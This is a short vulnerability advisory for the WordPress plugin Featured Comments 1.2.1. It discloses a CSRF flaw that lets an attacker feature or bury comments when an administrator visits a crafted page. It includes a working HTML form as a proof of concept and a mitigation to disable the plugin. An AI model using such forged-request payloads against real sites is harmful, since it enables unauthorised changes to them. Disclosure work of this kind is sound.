Software: Featured Comments  
Version: 1.2.1  
Homepage: http://wordpress.org/plugins/feature-comments/  
Advisory ID: dxw-2014-1360  
CVE: Awaiting assignment  
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)  
CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses  
An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.  
Proof of concept  
If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript).  
<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\" method=\"POST\">  
<input type=\"text\" name=\"do\" value=\"feature\">  
<input type=\"text\" name=\"comment_id\" value=\"9\">  
<input type=\"submit\">  
Disable the plugin until a fix is available.
